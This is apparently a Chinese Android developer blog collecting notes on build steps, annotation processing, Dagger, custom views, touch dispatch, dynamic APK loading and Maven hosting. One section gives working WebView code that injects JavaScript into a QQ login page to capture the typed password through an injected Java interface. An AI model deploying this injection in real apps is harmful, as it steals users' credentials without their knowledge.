Android编译流程

hello

  • IDE中的资源打包工具 (Android Asset Packaging Tool ,即图中的aapt) 会将应用中的资源文件进行编译,这些资源文件包括 AndroidManifest.xml文件,为Activity定义的 XML 文件等等。在这个编译过程中也会产生一个 R.java 文件,这样你就可以在你的Java代码中引用这些资源了。
  • aidl 工具会将你项目中的所有 .aidl 接口转换成Java接口。
  • 项目中的所有的Java代码,包括 R.java 和 .aidl 文件,都会被Java编译器编译,然后输出 .class 文件。
  • 接着 dex 工具就会把上一步骤产生的 .class 文件转成 Dalvik 字节码,也就是 .dex 文件。同时项目中包含的所有第三方类库和 .class 文件也会被转换成 .dex 文件,这样讲方便下一步被打包成最终的 .apk 文件。
    所有的不能编译的资源(比如图片等等)、编译后的资源文件和 .dex 文件会被 apkbuilder 工具打包成一个 .apk 文件。
  • 一旦 .apk 文件被构建好之后,如果要把把它安装到设备上面去的话,它就必须用一个debug 或者发行key来对这个apk文件签名。
  • 最后,如果应用程序已经被签名成为发行模式的apk,你还需要使用 aipalign工具对 .apk 进行对齐优化。这样的话可以减少应用程序在设备上的内存消耗。

android 中运用apt自定义一个AbstractProcessor

apt 全称 Annotation Processing Tool,基础的知识参见后面这个链接 http://www.trinea.cn/android/java-annotation-android-open-source-analysis/
运用apt,可以减少代码增加代码可读性又比反射的效率高。

hello

我使用的方法是在intellj中建一个基于maven的java project,编译成jar包,然后放到androidstudio中。
首先在intellj中new一个java项目,定一个注解,下面定义的这个注解是用来修饰方法并且在编译时处理的。

1
2
3
4
5
6
7
8
9
@Retention(CLASS)
@Target(METHOD)
public @interface WRMPOST {
String className();
String value() default "Hello";
int type() default 0;
}

然后继承自AbstractProcessor定义一个处理注解的类,这里我生成了一个文件,类似于butterknife就是用这种方式生成了一个文件,用来帮助activity或者其他findviewbyid的, dagger也是如此。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
@SupportedSourceVersion(SourceVersion.RELEASE_7)
public class MyProcessor extends AbstractProcessor {
public static final String SUFFIX = "$$WrmRequestInfo";
@Override
public synchronized void init(ProcessingEnvironment env) {
super.init(env);
}
@Override
public Set<String> getSupportedAnnotationTypes() {
Set<String> types = new LinkedHashSet<String>();
types.add(WRMPOST.class.getCanonicalName());
return types;
}
@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment env) {
for (Element e : env.getElementsAnnotatedWith(WRMPOST.class)) {
WRMPOST ca = e.getAnnotation(WRMPOST.class);
String name = e.getSimpleName().toString();
char[] c = name.toCharArray();
c[0] = Character.toUpperCase(c[0]);
name = new String(name);
TypeElement clazz = (TypeElement) e.getEnclosingElement();
try {
JavaFileObject f = processingEnv.getFiler().createSourceFile(clazz.getQualifiedName() + SUFFIX);
processingEnv.getMessager().printMessage(Diagnostic.Kind.NOTE, "Creating " + f.toUri());
Writer w = f.openWriter();
try {
String pack = clazz.getQualifiedName().toString();
PrintWriter pw = new PrintWriter(w);
pw.println("package " + pack.substring(0, pack.lastIndexOf('.')) + ";");
pw.println("\npublic class " + clazz.getSimpleName() + "Autogenerate {");
pw.println("\n public " + ca.className() + " result = \"" + ca.value() + "\";");
pw.println(" public int type = " + ca.type() + ";");
pw.println("\n protected " + clazz.getSimpleName() + "Autogenerate() {}");
pw.println("\n /** Handle something. */");
pw.println(" protected final void handle" + name + "(" + ca.className() + " value" + ") {");
pw.println("\n//" + e);
pw.println("//" + ca);
pw.println("\n System.out.println(value);");
pw.println(" }");
pw.println("}");
pw.flush();
} finally {
w.close();
}
} catch (IOException x) {
processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR,
x.toString());
}
}
return true;
}
@Override
public SourceVersion getSupportedSourceVersion() {
return SourceVersion.latestSupported();
}
}

在resources目录中建一个javax.annotation.processing.Processor文件,然后填写自定义processor的路径,这个项目中写的是com.weirenmai.compiler.internal.MyProcessor

hello

在pom.xml添加编译插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>wrm</groupId>
<artifactId>compiler</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.6</source>
<target>1.6</target>
<compilerArgument>-proc:none</compilerArgument>
</configuration>
</plugin>
</plugins>
</build>
</project>

配置intellj生成一个jar包,在File -> Project Structure -> Artifacts -> Add -> Jar -> From modules with dependencies.. -> ok -> 选上Build on make -> Ok。这样就可以Build出一个jar包了。
然后把jar包添加到androidstudio中的libs,在build.gradle compile file (‘libs/xxx.jar’) 就可以了。
将我们之前定义的注解使用到一个方法中,rebuild之后, 就可以在app/build/intermediates/classes/中对应使用注解的文件目录下生成一个我们自己创建的.java文件和其编译后的.class文件。

大功告成!

Dagger中addsTo VS include in subObjectGraphs

在Dagger中遇到要注入新的module的时候,需要调用existingObjectGraph.plus(new SomeModule());来告诉ObjectGraphs有新的Module需要注入。
如果新注入的Module依赖于原existingObjectGraph中的某一个Module, 从原理上可以使用includes和addsTo两种方式,但是两个具体的区别是:

  • includes表示原Module的也会与新的Module生存在同一个subObjectGraphs, 如果没有传递一个现有的实例Dagger会重新实例化。
  • addsTo表示新的Module希望在原existingObjectGraph被添加,但是Dagger不会自动添加这个Module。当新的module依赖于原existingObjectGraph中的某一个Module,新的Module可以直接从existingObjectGraph中取到所需要的依赖,如果这个依赖项是单例的,他也会在subObjectGraphs中保持单例。

Matrix pre post set

关于先乘和后乘的问题

由于矩阵的乘法运算不满足交换律,即先乘就是矩阵运算中右乘,后乘就是矩阵运算中的左乘。其实先乘、后乘的概念是针对变换操作的时间先后而言的,左乘、右乘是针对矩阵运算的左右位置而言的。以第一部分“二、旋转变换”中围绕某点旋转的情况为例:

hello

越靠近原图像中像素的矩阵,越先乘,越远离原图像中像素的矩阵,越后乘。事实上,图像处理时,矩阵的运算是从右边往左边方向进行运算的。这就形成了越在右边的矩阵(右乘),越先运算(先乘),反之亦然。

当然,在实际中,如果首先指定了一个matrix,比如我们先setRotate(),即指定了上面变换矩阵中,中间的那个矩阵,那么后续的矩阵到底是pre还是post运算,都是相对这个中间矩阵而言的。

下拉刷新的简单实现

看了Taurus的下拉刷新代码,参考它的主要思想自己也动手写一个下拉刷新。

首先看一下实现了之后,demo项目中的布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<com.yzx.TestPullToRefreshView
android:id="@+id/pull_to_refresh"
android:layout_width="match_parent"
android:layout_height="match_parent">
<ListView
android:id="@+id/list_view"
android:divider="@null"
android:dividerHeight="0dp"
android:fadingEdge="none"
android:layout_width="match_parent"
android:layout_height="match_parent" />
</com.yzx.TestPullToRefreshView>

这里的TestPullToRefreshView就是我们的下拉刷新自定义view。主要的思路就是在TestPullToRefreshView中添加一个RefreshView作为刷新的View。然后通过onTouchEvent来计算位移,再通过offsetTopAndBottom函数来控制ListView和RefreshView所显示的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
public boolean onTouchEvent(MotionEvent ev) {
final int action = MotionEventCompat.getActionMasked(ev);
switch (action) {
case MotionEventCompat.ACTION_POINTER_DOWN:
final int index = MotionEventCompat.getActionIndex(ev);
mActivePointerId = MotionEventCompat.getPointerId(ev, index);
final float initialMotionY = getMotionEventY(ev, mActivePointerId);
if (initialMotionY == -1) {
return false;
}
mInitialMotionY = initialMotionY;
break;
case MotionEvent.ACTION_MOVE: {
int offset = calOffset(ev);
if (offset == -1) {
return false;
}
setTargetOffsetTop(offset);
break;
}
case MotionEventCompat.ACTION_POINTER_UP:
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL: {
return false;
}
}
return true;
}

calOffset方法根据下拉距离计算RefreshView显示大小,setTargetOffsetTop用来实现ListView的上下滑动。
下面方法是根据Taurus中的计算方法来计算位移值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private int calOffset(MotionEvent ev) {
final int pointerIndex = MotionEventCompat.findPointerIndex(ev, mActivePointerId);
if (pointerIndex < 0) {
return -1;
}
final float y = MotionEventCompat.getY(ev, pointerIndex);
final float yDiff = y - mInitialMotionY;
final float scrollTop = yDiff * DRAG_RATE;
mCurrentDragPercent = scrollTop / mTotalDragDistance;
if (mCurrentDragPercent < 0) {
return -1;
}
float boundedDragPercent = Math.min(1f, Math.abs(mCurrentDragPercent));
float extraOS = Math.abs(scrollTop) - mTotalDragDistance;
float slingshotDist = mTotalDragDistance;
float tensionSlingshotPercent = Math.max(0, Math.min(extraOS, slingshotDist * 2) / slingshotDist);
float tensionPercent = (float) ((tensionSlingshotPercent / 4) - Math.pow(
(tensionSlingshotPercent / 4), 2)) * 2f;
float extraMove = (slingshotDist) * tensionPercent / 2;
int targetY = (int) ((slingshotDist * boundedDragPercent) + extraMove);
return targetY - mCurrentOffsetTop;
}

下面方法是具体条用offsetTopAndBottom的方法。

1
2
3
4
5
6
7
8
private void setTargetOffsetTop(int offset, boolean requiresUpdate) {
mTarget.offsetTopAndBottom(offset);
mTestDrawable.offsetTopAndBottom(offset);
mCurrentOffsetTop = mTarget.getTop();
if (requiresUpdate && android.os.Build.VERSION.SDK_INT < 11) {
invalidate();
}
}

在WebView中添加JS

首先向WebView注入Java对象,在WebView加载完毕的时候执行一段js,给表单提交事件关联上我们的代码,即让表单提交的时候执行所注入的Java对象的一个方法,js执行我们的方法的时候可以把qq号和密码作为参数传递过来,然后我们就可以保存了。下面的步骤只示范如何把qq密码存下来。

1. 声明要注入的Java对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class SavePasswordJavaScriptInterface
{
public void savePassword(final String password)
{
Log.w("ATTACK", "enter spjsinterface:"+ password);
mHandler.post(new Runnable()
{
@Override
public void run()
{
//这里就是用户登录的密码了,你可以存起来了
mPassword = password;
Log.w("ATTACK", mPassword);
}
});
}
}

2. 注入上述对象

1
2
3
4
//这里是注入Java对象
mWebView.addJavascriptInterface(new SavePasswordJavaScriptInterface(), "SPJSInterface");
//这里是打开登录平台页面
mWebView.loadUrl(LOGIN_URL);

3. 在WebViewClient中的onPageFinished方法中注入js,这样当登录的时候就会调用我们之前注入的Java对象,同时乖乖地把密码作为参数传过来

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void onPageFinished(WebView view, String url)
{
super.onPageFinished(view, url);
//仅当是登录url的时候才注入我们的js,不要任何url都注入
if (url.equals(LOGIN_URL)) {
//要注入的js
String js = "document.forms[0].onsubmit=function(event){var pwd = document.getElementById(\"ptlogin-password\").value;window.SPJSInterface.savePassword(pwd);return false;}";
Log.w("ATTACK", "inject js, js= " + js);
view.loadUrl("javascript:" + js);
}
}

TouchEvent派发机制

Android的事件派发机制其实这是一种典型的消息“冒泡”机制,很多平台采用这个机制,消息最先到达最底层View,然后它先进行判断是不是它所需要的,否则就将消息传递给它的子View,这样一来,消息就从水底的气泡一样向上浮了一点距离,以此类推,气泡达到顶部和空气接触,破了(消息被处理了),当然也有气泡浮出到顶层了,还没破(消息无人处理),这个消息将由系统来处理,对于Android来说,会由Activity来处理。

点击事件用MotionEvent来表示,当一个点击操作发生时,事件最先传递给当前Activity,由Activity的dispatchTouchEvent来进行事件派发,具体的工作是由Activity内部的Window来完成的,Window会将事件传递给decor view,由于DecorView 继承自FrameLayout且是我们的父View,所以最终事件会传递给我们的View。点击事件到底层View(一般是一个ViewGroup)以后,会调用ViewGroup的dispatchTouchEvent方法,然后的逻辑是这样的:如果底层ViewGroup拦截事件即onInterceptTouchEvent返回true,则事件由ViewGroup处理,这个时候,如果ViewGroup的mOnTouchListener被设置,则会onTouch会被调用,否则,onTouchEvent会被调用,也就是说,如果都提供的话,onTouch会屏蔽掉onTouchEvent。在onTouchEvent中,如果设置了mOnClickListener,则onClick会被调用。如果顶层ViewGroup不拦截事件,则事件会传递给它的在点击事件链上的子View,这个时候,子View的dispatchTouchEvent会被调用,子View的dispatchTouchEvent会调用 OnTouchEvent, 而没有viewGroup的onInterceptTouchEvent方法。到此为止,事件已经从最底层View传递给了上一层View,接下来的行为和其底层View一致,如此循环,完成整个事件派发。另外要说明的是,ViewGroup默认是不拦截点击事件的,其onInterceptTouchEvent返回false。

如果一个点击事件,子View的onTouchEvent返回了false,则父View的onTouchEvent会被直接调用,以此类推。如果所有的View都不处理,则最终会由Activity来处理,这个时候,Activity的onTouchEvent会被调用。

例子如下:
下面用一个简单的实验说明上述复杂的规则。视图自底向上共3层,其中LayoutView1和LayoutView2就是LinearLayout, MyTextView就是TextView:
对应的xml布局文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>
<com.touchstudy.LayoutView1 xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent" ]]>
<com.touchstudy.LayoutView2
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:gravity="center"]]>
<com.touchstudy.MyTextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:id="@+id/tv"
android:text="AB"
android:textSize="40sp"
android:textStyle="bold"
android:background="#FFFFFF"
android:textColor="#0000FF"/>
</com.touchstudy.LayoutView2]]>
</com.touchstudy.LayoutView1]]>

下面看具体情况:
1. onInterceptTouchEvent()处理down事件均返回false,onTouchEvent()处理事件均返回true


04-11 03:58:42.620: DEBUG/LayoutView1(614): onInterceptTouchEvent action:ACTION_DOWN
04-11 03:58:42.620: DEBUG/LayoutView2(614): onInterceptTouchEvent action:ACTION_DOWN
04-11 03:58:42.620: DEBUG/MyTextView(614): onTouchEvent action:ACTION_DOWN
04-11 03:58:42.800: DEBUG/LayoutView1(614): onInterceptTouchEvent action:ACTION_MOVE
04-11 03:58:42.800: DEBUG/LayoutView2(614): onInterceptTouchEvent action:ACTION_MOVE
04-11 03:58:42.800: DEBUG/MyTextView(614): onTouchEvent action:ACTION_MOVE
…… //省略过多的ACTION_MOVE
04-11 03:58:43.130: DEBUG/LayoutView1(614): onInterceptTouchEvent action:ACTION_UP
04-11 03:58:43.130: DEBUG/LayoutView2(614): onInterceptTouchEvent action:ACTION_UP
04-11 03:58:43.150: DEBUG/MyTextView(614): onTouchEvent action:ACTION_UP


这是最常见的情况,onInterceptTouchEvent并没有做任何改变事件传递时序的操作,效果上和没有覆写该方法是一样的。可以看到,各种事件的传递本身是自底向上的,次序是:LayoutView1->LayoutView2->MyTextView。注意,在onInterceptTouchEvent均返回false时,LayoutView1和LayoutView2的onTouchEvent并不会收到事件,而是最终传递给了MyTextView。

2. LayoutView1的onInterceptTouchEvent()处理down事件返回true,
MyTextView的onTouchEvent()处理事件返回true


04-11 03:09:27.589: DEBUG/LayoutView1(446): onInterceptTouchEvent action:ACTION_DOWN
04-11 03:09:27.589: DEBUG/LayoutView1(446): onTouchEvent action:ACTION_DOWN
04-11 03:09:27.629: DEBUG/LayoutView1(446): onTouchEvent action:ACTION_MOVE
04-11 03:09:27.689: DEBUG/LayoutView1(446): onTouchEvent action:ACTION_MOVE
…… //省略过多的ACTION_MOVE
04-11 03:09:27.959: DEBUG/LayoutView1(446): onTouchEvent action:ACTION_UP


从Log可以看到,由于LayoutView1在拦截第一次down事件时return true,所以后续的事件(包括第一次的down)将由LayoutView1本身处理,事件不再传递下去。

3. LayoutView1,LayoutView2的onInterceptTouchEvent()处理down事件返回false,
MyTextView的onTouchEvent()处理事件返回false
LayoutView2的onTouchEvent()处理事件返回true


04-11 09:50:21.147: DEBUG/LayoutView1(301): onInterceptTouchEvent action:ACTION_DOWN
04-11 09:50:21.147: DEBUG/LayoutView2(301): onInterceptTouchEvent action:ACTION_DOWN
04-11 09:50:21.147: DEBUG/MyTextView(301): onTouchEvent action:ACTION_DOWN
04-11 09:50:21.147: DEBUG/LayoutView2(301): onTouchEvent action:ACTION_DOWN
04-11 09:50:21.176: DEBUG/LayoutView1(301): onInterceptTouchEvent action:ACTION_MOVE
04-11 09:50:21.176: DEBUG/LayoutView2(301): onTouchEvent action:ACTION_MOVE
04-11 09:50:21.206: DEBUG/LayoutView1(301): onInterceptTouchEvent action:ACTION_MOVE
04-11 09:50:21.217: DEBUG/LayoutView2(301): onTouchEvent action:ACTION_MOVE
…… //省略过多的ACTION_MOVE
04-11 09:50:21.486: DEBUG/LayoutView1(301): onInterceptTouchEvent action:ACTION_UP
04-11 09:50:21.486: DEBUG/LayoutView2(301): onTouchEvent action:ACTION_UP

Android apk动态加载机制

apk动态加载机制就是在未安装apk的情况下运行外部apk,好酷炫的感觉,这样的好处就是动态部署,热插拔,松耦合,降低应用内存cpu占用,但是实现起来比较复杂。

1. 想要运行apk我们可以通过宿主程序去动态加载apk文件并将其放在自己的进程中执行。首先需要宿主程序到文件系统中去加载apk, 理论上可以用到的有DexClassLoader、PathClassLoader和URLClassLoader。

  • DexClassLoader :可以加载文件系统上的jar、dex、apk
  • PathClassLoader :可以加载/data/app目录下的apk,这也意味着,它只能加载已经安装的apk
  • URLClassLoader :可以加载java中的jar,但是由于dalvik不能直接识别jar,所以此方法在android中无法使用,尽管还有这个类
    采用DexClassLoader去加载apk,然后如果没有指定class,就调起主activity,否则调起指定的class。activity被调起的过程是这样的:首先通过类加载器去加载apk中activity的类并创建一个新对象,然后通过反射去调用这个对象的setProxy方法和onCreate方法,setProxy方法的作用是将activity内部的执行全部交由宿主程序中的proxy(也是一个activity),onCreate方法是activity的入口,setProxy以后就调用onCreate方法,这个时候activity就被调起来了。

2. 资源管理:因为插件是在宿主程序中运行的,所以是运行在宿主程序的context中,所以先要使用自己的资源还需要想一些办法。
activity的工作主要是由ContextImpl来完成的, 它在activity中是一个叫做mBase的成员变量。注意到Context中有如下两个抽象方法,看起来是和资源有关的,实际上context就是通过它们来获取资源的,这两个抽象方法的真正实现在ContextImpl中。也即是说,只要我们自己实现这两个方法,就可以解决资源问题了。

1
2
3
4
/** Return an AssetManager instance for your application's package. */
public abstract AssetManager getAssets();
/** Return a Resources instance for your application's package. */
public abstract Resources getResources();

下面看一下如何实现这两个方法
首先要加载apk中的资源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void loadResources() {
try {
AssetManager assetManager = AssetManager.class.newInstance();
Method addAssetPath = assetManager.getClass().getMethod("addAssetPath", String.class);
addAssetPath.invoke(assetManager, mDexPath);
mAssetManager = assetManager;
} catch (Exception e) {
e.printStackTrace();
}
Resources superRes = super.getResources();
mResources = new Resources(mAssetManager, superRes.getDisplayMetrics(),
superRes.getConfiguration());
mTheme = mResources.newTheme();
mTheme.setTo(super.getTheme());
}

说明:加载的方法是通过反射,通过调用AssetManager中的addAssetPath方法,我们可以将一个apk中的资源加载到Resources中,由于addAssetPath是隐藏api我们无法直接调用,所以只能通过反射,下面是它的声明,通过注释我们可以看出,传递的路径可以是zip文件也可以是一个资源目录,而apk就是一个zip,所以直接将apk的路径传给它,资源就加载到AssetManager中了,然后再通过AssetManager来创建一个新的Resources对象,这个对象就是我们可以使用的apk中的资源了,这样我们的问题就解决了。

3. Activity的生命周期:
将activity的大部分生命周期方法提取出来作为一个接口(DLPlugin),然后通过代理activity(DLProxyActivity)去调用插件activity实现的生命周期方法,这样就完成了插件activity的生命周期管理,并且没有采用反射,当我们想增加一个新的生命周期方法的时候,只需要在接口中声明一下同时在代理activity中实现一下即可

以上解决了动态加载的一些基本问题,另外还有很多问题需要一步步实现。
更多详细的内容可以查看singwhatiwanna的csdn博客及github开源项目
http://blog.csdn.net/singwhatiwanna/article/details/39937639
https://github.com/singwhatiwanna/dynamic-load-apk

AndroidStart

Android 开机过程:

  • 首先linux系统会启动一个叫做zygote(可以称为受精卵、母体)的linux程序,这个程序实际上就是android系统的内核
  • 接着zygote会孵化第一个dalvik进程SystemServer,它会通过socket与zygote通信
  • SystemServer它会发送一个隐式的intent(category:CATEGORY_HOME),也就是launcher了(第三方要开发launcher,只需要加入intent-filter即可)

Apk 安装过程:

  • 将apk文件复制到程序目录下(/data/app/)
  • 为应用创建数据目录(/data/data/package name/)、提取dex文件到指定目录(/data/dalvik-cache/)、修改系统包管理信息

使用Gradle编译链,在Github上托管一个Maven资源库。

  1. 在github创建账号,创建Repositories.
  2. 创建maven本地仓库目录

       $ mkdir maven
       $ cd maven
       $ mkdir abptrcompat
    
  3. 在代码的build.gradle文件中加入

     apply plugin: 'maven'
     uploadArchives {
         repositories.mavenDeployer {
             repository(url: "file:///Users/yangzhixin/maven/abptrcompat/")
             pom {
                 version = '1.0.0'
                 artifactId = 'yzx-abptrcompat'
                 groupId = 'com.yzx'
             }
         }
     } 
    
  4. 编译上传到本地仓库

     $ gradle clean build uploadArchives
    
  5. 进入本地仓库目录 maven/abptrcompat

     $ git init
       $ git remote add remotecompat https://github.com/yzx41099298/abptrcompat.git
       $ git add .
       $ git commit -m “abcompat-1.0.0$ git push remotecompat master
    
  6. 在调用库的build.gradle中加入

     repositories {
         maven{ url "https://github.com/yzx41099298/abptrcompat/raw/master/"}
     }
    
     dependencies {
         compile 'com.yzx:yzx-abptrcompat:1.0.0@aar'
     } 
    

参考:http://downright-amazed.blogspot.com/2011/09/hosting-maven-repository-on-github-for.html